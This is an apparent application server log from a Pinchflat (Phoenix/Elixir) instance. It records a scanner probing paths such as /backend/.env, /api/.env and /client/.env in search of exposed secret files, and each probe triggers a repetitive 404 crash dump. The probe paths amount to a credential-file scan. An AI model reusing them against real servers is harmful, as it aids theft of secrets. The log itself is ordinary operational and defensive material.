(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9558.0>, params: %{}, path_info: ["backend", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/backend/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAe1l8bH_ShYAAbwC"} (truncated) 15:21:43.119 [info] GET /frontend/.env 15:21:43.119 [debug] QUERY OK source="settings" db=0.0ms idle=626.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:43.119 [debug] QUERY OK source="settings" db=0.0ms idle=483.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:43.119 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:43.119 [error] #PID<0.9560.0> running PinchflatWeb.Endpoint (connection #PID<0.9559.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /frontend/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /frontend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9559.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/frontend/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34884}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9560.0>, params: %{}, path_info: ["frontend", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/frontend/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAfuycEUu5o0AAbxC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9559.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/frontend/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34884}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /frontend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9559.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/frontend/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34884}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9560.0>, params: %{}, path_info: ["frontend", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/frontend/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAfuycEUu5o0AAbxC"} (truncated) 15:21:43.356 [info] GET /api/.env 15:21:43.356 [debug] QUERY OK source="settings" db=0.1ms idle=720.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:43.356 [debug] QUERY OK source="settings" db=0.0ms idle=477.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:43.357 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:43.357 [error] #PID<0.9562.0> running PinchflatWeb.Endpoint (connection #PID<0.9561.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /api/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9561.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34898}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9562.0>, params: %{}, path_info: ["api", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/api/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAgnXNk9xPs0AAbyC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9561.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34898}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9561.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34898}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9562.0>, params: %{}, path_info: ["api", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/api/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAgnXNk9xPs0AAbyC"} ], scheme: :http, sc (truncated) 15:21:43.595 [info] GET /server/.env 15:21:43.596 [debug] QUERY OK source="settings" db=0.0ms idle=476.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:43.596 [debug] QUERY OK source="settings" db=0.0ms idle=476.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:43.596 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:43.596 [error] #PID<0.9564.0> running PinchflatWeb.Endpoint (connection #PID<0.9563.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /server/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9563.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34900}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9564.0>, params: %{}, path_info: ["server", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/server/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAhgdoYITypgAAbzC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9563.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34900}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9563.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34900}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9564.0>, params: %{}, path_info: ["server", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/server/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAhgdoYITypgAAbzC"} ], (truncated) 15:21:43.832 [info] GET /client/.env 15:21:43.833 [debug] QUERY OK source="settings" db=0.0ms idle=476.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:43.833 [debug] QUERY OK source="settings" db=0.0ms idle=476.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:43.833 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:43.833 [error] #PID<0.9566.0> running PinchflatWeb.Endpoint (connection #PID<0.9565.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /client/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /client/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9565.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/client/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34904}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9566.0>, params: %{}, path_info: ["client", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/client/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAiY8hC1tnAYAAb0C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9565.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/client/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34904}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", 